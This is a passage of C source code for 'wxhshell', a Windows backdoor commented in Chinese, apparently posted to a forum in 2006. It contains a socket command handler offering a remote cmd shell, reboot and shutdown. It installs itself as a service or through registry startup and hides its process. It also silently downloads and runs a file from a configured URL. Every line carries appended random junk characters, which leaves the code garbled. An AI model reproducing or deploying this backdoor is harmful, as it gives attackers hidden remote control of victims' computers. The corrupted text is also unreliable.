  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ep v3/ `I  
  } P:zEx]Y%  
  else {  N#2nH1C  
hc@;}a\Y  
    switch(cmd[0]) { ;6\Ski0=l  
  tZJ 9}\r  
  // 帮助 P /f ~  
  case '?': { H|(*$!~e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?(`nBlWQ5  
    break; sKE*AGFL d  
  } #!<+:y'S?  
  // 安装 eBLHT  
  case 'i': { f|[5&,2<  
    if(Install()) RmCn&-i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U_zpLpm^  
    else J&] XLr.j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #h5Hi9LKf  
    break; .J7-4  
    } >Y*iy  
  // 卸载 P[J qJi/H  
  case 'r': { :,J86#S)  
    if(Uninstall()) 'amex  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F4aJr%!\6S  
    else ve_4@J)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H 29 _ /  
    break; L>R!A3G1  
    } ~9{-I{=  
  // 显示 wxhshell 所在路径 fxf GJNR  
  case 'p': { >f9]Nj  
    char svExeFile[MAX_PATH]; k H( 3  
    strcpy(svExeFile,"\n\r"); qLktMp_  
      strcat(svExeFile,ExeFile); oq m{<g?2  
        send(wsh,svExeFile,strlen(svExeFile),0); `&&6-/  
    break; ^ 8Nr %NJ  
    } u BW  
  // 重启 [4 (A458H  
  case 'b': { oY#XWe8Om  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `S!uj <-  
    if(Boot(REBOOT)) TlZlE^EE<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }X.8.S'  
    else { "9Fv!*<-W  
    closesocket(wsh); ~'YSVx& )  
    ExitThread(0); cqU/Y_%l'  
    } *~aI>7H  
    break; $EHn ;~w T  
    } w})&[d  
  // 关机 =P+wp{?AN|  
  case 'd': { &cv /q$W4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IU"!oM^  
    if(Boot(SHUTDOWN)) 7Bb@9M?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TbUkqABm  
    else { 9~ .BH;ku  
    closesocket(wsh); <zWQ[^  
    ExitThread(0); PYRwcJ$b\d  
    } dodz|5o%  
    break; kJ:5msKwC  
    } jI pcMN<  
  // 获取shell er}'}n`@q  
  case 's': { ^|axtVhMO  
    CmdShell(wsh); sg~/RSJ3  
    closesocket(wsh); *h8XbBZH  
    ExitThread(0); W2V@\  
    break; )9P  
  } PzG:M7  
  // 退出 <L[)P{jn?p  
  case 'x': { 2Uw}'J_N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wZolg~dg  
    CloseIt(wsh); TuPxyB  
    break; T%b^|="@  
    } p5 PON0dS  
  // 离开 _-nN( ${{  
  case 'q': { 60gn`s,,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aQ3vG08L>  
    closesocket(wsh); D.JVEKLkU  
    WSACleanup(); H0:6zSsc=|  
    exit(1); &?6 ~v  
    break; 6#-; ,2i  
        } T</gWW  
  } 'Z%aBCM  
  } :)S4MoG  
{;gWn' aq  
  // 提示信息 DD3yl\#,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hw3 ES  
}  [?(W7  
  } \YyU5f7';  
.}opmI  
  return; Q9 ",  
} ^Rh~+  
Xm+3`$<  
// shell模块句柄 u+I3VK_)  
int CmdShell(SOCKET sock) nmAXU!t'  
{ uZI:Kt#  
STARTUPINFO si; 3 +9|7=d  
ZeroMemory(&si,sizeof(si)); {x$#5 PW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CawVC*b3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IKj1{nZvDc  
PROCESS_INFORMATION ProcessInfo; 7hE=+V8  
char cmdline[]="cmd"; ~UFsiVpL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AE~}^(G`  
  return 0; NX/)Z&Fx:  
} !7|9r$  
!I$RE?7eY  
// 自身启动模式 Jx7^|A  
int StartFromService(void) eHIC'b.  
{ 8`<GplO  
typedef struct 9&jNdB  
{ -I<`!kH*  
  DWORD ExitStatus; EPfVS  
  DWORD PebBaseAddress; $RO=r90o  
  DWORD AffinityMask; =-Tetp  
  DWORD BasePriority; s_ $@N!  
  ULONG UniqueProcessId; 3"RZiOyv  
  ULONG InheritedFromUniqueProcessId; +[qy HTcG  
}   PROCESS_BASIC_INFORMATION; <Z_`^~!  
KO7cZME  
PROCNTQSIP NtQueryInformationProcess; Wb$bCR#?<  
"=O)2}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B 8,{jwB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n`1i k'x?  
M1\/ueOe  
  HANDLE             hProcess; OW^7aw(N6  
  PROCESS_BASIC_INFORMATION pbi;  }2"k:-g  
s"Wdbw(O'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p5ihuV,   
  if(NULL == hInst ) return 0; m5*RB1  
-tJ*F!w6U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); chbs9y0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z9ZAY!Zhq]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -0Ek&"=Z^  
)i>KgX  
  if (!NtQueryInformationProcess) return 0; otx7J\4  
mB`r6'#=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =lnz5H  
  if(!hProcess) return 0; A>k;o0r  
-fv.ByyA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C_/oORvK  
hJM0A3(Cm  
  CloseHandle(hProcess); 1d6pQ9 N  
0v?,:]A0E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TgLlmU*qMU  
if(hProcess==NULL) return 0; !ywc).]e  
5;*C0m2%i  
HMODULE hMod; 82<!b]^1  
char procName[255]; D.~t#a A  
unsigned long cbNeeded; ' wEP:}  
"Y+`U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &}ow-u9c3  
DDEn63{  
  CloseHandle(hProcess); h2nyP  
<|@9]>z  
if(strstr(procName,"services")) return 1; // 以服务启动 m,b<b91  
9UZX+@[F  
  return 0; // 注册表启动 0NGokaD)H  
} x0] *'^aA  
w,&RHQB  
// 主模块 >8##~ZuF+  
int StartWxhshell(LPSTR lpCmdLine) ,yoT3_%P  
{ jB;+tDC!Co  
  SOCKET wsl; 7?4>'  
BOOL val=TRUE; <Aa%Uwpc  
  int port=0; 9"rATgN1  
  struct sockaddr_in door; [": x  
7Vi[I< *  
  if(wscfg.ws_autoins) Install(); 8447hb?W$  
A 6d+RAx  
port=atoi(lpCmdLine); G8SJ<\?  
v{9eEk1  
if(port<=0) port=wscfg.ws_port; #KIHq2:.4  
q#Bdq8  
  WSADATA data; j<c_*^/'9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o{qbbJBC  
8WvT0q>]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gP} M\3-O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K \O,AE  
  door.sin_family = AF_INET; uJ[dO}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \oi=fu=}*  
  door.sin_port = htons(port); uwbj`lpf  
j/sZ:Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qU"+0t4  
closesocket(wsl); 9]Y@eRI<  
return 1; }} IvZG&  
} *ce h ]v  
PKP( :3|  
  if(listen(wsl,2) == INVALID_SOCKET) { @~"0|,6VC  
closesocket(wsl); EfOJ%Xr[,l  
return 1; "G< ^@v9  
} aJub("  
  Wxhshell(wsl); u~K4fP  
  WSACleanup(); pvX\k X3}  
LB>!%Vx  
return 0; Uu G;z5  
x{=ty*E  
} B$fL);l-  
SW bwD/SN  
// 以NT服务方式启动 Ef#%4ky  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zgLm~  
{ _Ab|<!a/R  
DWORD   status = 0; I(C_}I>Wb  
  DWORD   specificError = 0xfffffff; 291v R]  
!fZxK CsQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +YP,LDJ!v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %KqXtc`O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n]|[|Rf1  
  serviceStatus.dwWin32ExitCode     = 0; 9'}m797I'  
  serviceStatus.dwServiceSpecificExitCode = 0; 'l2`05   
  serviceStatus.dwCheckPoint       = 0; 5=l Ava#  
  serviceStatus.dwWaitHint       = 0; ibEQ52  
/']Gnt G.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gQ& FO~cr  
  if (hServiceStatusHandle==0) return; dqcfs/XhP  
euQ d  
status = GetLastError(); A!SHt7ysJ  
  if (status!=NO_ERROR) x#U?~6.6  
{ 7,Nd[ oL*7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;|66AIwDe  
    serviceStatus.dwCheckPoint       = 0; <wa}A!fu  
    serviceStatus.dwWaitHint       = 0; +[:}<^p?cG  
    serviceStatus.dwWin32ExitCode     = status; \ 3ha  
    serviceStatus.dwServiceSpecificExitCode = specificError; YYN= `ST  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p,U.5bX  
    return; {R\"x|  
  } _.zW[;84b  
F?3a22Zg#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N_h)L`  
  serviceStatus.dwCheckPoint       = 0; >{V]q*[/;Q  
  serviceStatus.dwWaitHint       = 0; RaKL KZn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <Xv]Ih?@f`  
} Xrc0RWXB8  
L=?Yc*vg  
// 处理NT服务事件,比如:启动、停止 y1B3F5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5_#wOz0u$  
{ .(ki(8Z N  
switch(fdwControl) "2$C_aE  
{ ?=-18@:.ss  
case SERVICE_CONTROL_STOP: nz~3o  
  serviceStatus.dwWin32ExitCode = 0; 7C F-?M!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y.HE3tH  
  serviceStatus.dwCheckPoint   = 0; )lE]DG!  
  serviceStatus.dwWaitHint     = 0; S!0<aFh  
  { skf7Si0z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7&qunK'  
  } ['Hl$2 j  
  return; 3t)07(x_B  
case SERVICE_CONTROL_PAUSE: ULNU'6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h:}oUr8   
  break; +' QX`  
case SERVICE_CONTROL_CONTINUE: amK"Z<V F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qn5e[Vn  
  break; C5c@@ch :  
case SERVICE_CONTROL_INTERROGATE: ]%!:'#  
  break; @Xts}(L  
}; lQ {k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OTY9Q  
} sB"Oi|#lk  
:?S1#d_  
// 标准应用程序主函数  olB?"M=H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |@`F !bnLr  
{ HZX(kYV  
_ fJ 5z  
// 获取操作系统版本 mmE\=i~  
OsIsNt=GetOsVer(); `q@5d&d`j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rVB,[4N  
}6*+>?  
  // 从命令行安装 US[{ Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); '[Ap/:/UY  
;x^WPY Ej  
  // 下载执行文件 3#<b!Yz  
if(wscfg.ws_downexe) { ^cs:S-s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xn@\p5<  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ta8;   
} 2.)xWCG  
+L03. rf  
if(!OsIsNt) { WT;4J<O/  
// 如果时win9x,隐藏进程并且设置为注册表启动 -FftEeo7  
HideProc(); GrPKJ~{6  
StartWxhshell(lpCmdLine); ,j E'd'$  
} -5B>2K F  
else BPs|qb-  
  if(StartFromService()) gT8Q:8f:  
  // 以服务方式启动 V{4=, Ax  
  StartServiceCtrlDispatcher(DispatchTable); &B ?TX.  
else &\6Buw_  
  // 普通方式启动 {,xI|u2R  
  StartWxhshell(lpCmdLine); r*_z<^d  
uy'm2  
return 0; r:;nv D  
}
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只看该作者 1 发表于: 2006-10-10
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